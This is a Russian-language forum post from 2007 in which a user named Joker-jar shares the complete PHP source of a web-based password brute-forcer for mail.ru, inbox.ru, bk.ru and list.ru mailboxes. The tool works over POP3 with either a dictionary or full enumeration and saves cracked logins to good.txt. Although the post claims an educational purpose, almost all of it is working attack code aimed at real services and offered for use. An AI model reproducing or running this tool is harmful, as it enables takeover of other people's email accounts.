PDA

Просмотр полной версии : PHP Simple mail.ru brute


Joker-jar
11.06.2007, 18:08
В учебных целях написал простенький брутфорс ящичков на мейле. Вроде работает, но уж очень медленно из-за работы в один поток.

<html>
<head>
<title>MailBrute By Joker-jar</title>
<meta http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<body>

<?
set_time_limit(0);
ignore_user_abort(1);
error_reporting(0);

$servers = Array(
"mail" => "pop3.mail.ru",
"inbox" => "pop3.inbox.ru",
"bk" => "pop3.bk.ru",
"list" => "pop3.list.ru",
);

$pop3port = 110;

$passfile = "pass.txt";
$good = "good.txt";
$bad = "bad.txt";

function CheckPass($pop3server, $username, $pass)
{
global $pop3port;
$fp = fsockopen($pop3server, $pop3port, $errno, $errstr, 30);
if (!$fp)
return false;
$buf = fgets($fp, 128);
if ($buf[0] != "+")
{
fclose($fp);
return false;
}
fputs($fp,"user ".$username."\r\n");
$buf = fgets($fp, 128);
if ($buf[0] != "+")
{
fclose($fp);
return false;
}
fputs($fp,"pass ".$pass."\r\n");
$buf = fgets($fp, 128);
if (strlen($buf) > 3 && $buf[0] == "+")
{
fclose($fp);
return true;
}
fclose($fp);
return false;
}

function genstr($l, $alf)
{
$result = "";
for ($i=0;$i<$l;$i++)
$result .= $alf[0];
return $result;
}

function nextpass($p, $alf)
{
for ($i=0;$i<strlen($p);$i++)
{
if (strpos($alf,$p[$i]) == strlen($alf)-1)
{
$p[$i] = $alf[0];
}
else
{
$p[$i] = $alf[strpos($alf,$p[$i])+1];
return $p;
}
}
$p .= $alf[0];
return $p;
}

if (isset($_POST["name"]))
{
if ($_POST["name"] === "")
{
echo "Отсутствует имя</body></html>";
exit;
}
if (!isset($servers[$_POST["popserver"]]))
{
echo "Неправильно задан pop3 сервер</body></html>";
exit;
}
settype($_POST["minl"],"int");
settype($_POST["maxl"],"int");
if ($_POST["minl"] == 0 || $_POST["maxl"] == 0 || $_POST["maxl"] - $_POST["minl"] < 0)
{
echo "Ошибка в параметрах длины пароля</body></html>";
exit;
}
if ($_POST["dict"] !== "yes" && $_POST["alf"] === "")
{
echo "Алфавит пуст</body></html>";
exit;
}
if ($_POST["dict"] === "yes" && (!file_exists($passfile) || filesize($passfile) == 0))
{
echo "Файл $passfile пуст или отсутствует</body></html>";
exit;
}
if ($_POST["dict"] !== "yes")
{
//Полный перебор
$startpass = genstr($_POST["minl"],$_POST["alf"]);
$endpass = genstr($_POST["maxl"]+1,$_POST["alf"]);
$curpass = $startpass;
while ($curpass != $endpass)
{
if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass))
{
$f = fopen($good, 'ab');
fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
fclose($f);
exit;
}
else
{
$f = fopen($bad, 'ab');
fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
fclose($f);
}
$curpass = nextpass($curpass,$_POST["alf"]);
}
}
else
{
//Атака по словарю
$passes = file($passfile);
for($i=0; $i<count($passes);$i++)
{
$curpass = trim($passes[$i]);
if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass))
{
$f = fopen($good, 'ab');
fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
fclose($f);
exit;
}
else
{
$f = fopen($bad, 'ab');
fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
fclose($f);
}
}
}
}
?>

<fieldset style="width: 500">
<legend>Параметры брута</legend>
<form method="POST">
<table border="0">
<tr><td>
<input type="text" name="name" style="width: 100">
</td><td>@
<select name="popserver" style="width: 100">
<option value="mail" selected>mail.ru
<option value="inbox">inbox.ru
<option value="bk">bk.ru
<option value="list">list.ru
</select>
</td></tr>
<tr><td colspan="2"><br>
<input type="radio" name=dict value="yes" checked>Атака по словарю pass.txt<br>
<input type="radio" name=dict value="no">Атака полным перебором
</td></tr>
<tr><td style="text-align: right">
алфавит:
</td><td>
<input type="text" name="alf" style="width: 200" value="abcdefghijklmnopqrstuvwxyz">
</td></tr>
<tr><td style="text-align: right">
мин длина:
</td><td>
<input type="text" name="minl" style="width: 50" value="1">
</td></tr>
<tr><td style="text-align: right">
макс длина:
</td><td>
<input type="text" name="maxl" style="width: 50" value="5">
</td></tr>
<tr><td colspan="2">
<br>
<input type="submit" value="Начать брут и идти спать">
</td></tr>
</table>
</form>
</fieldset>
</body>
</html>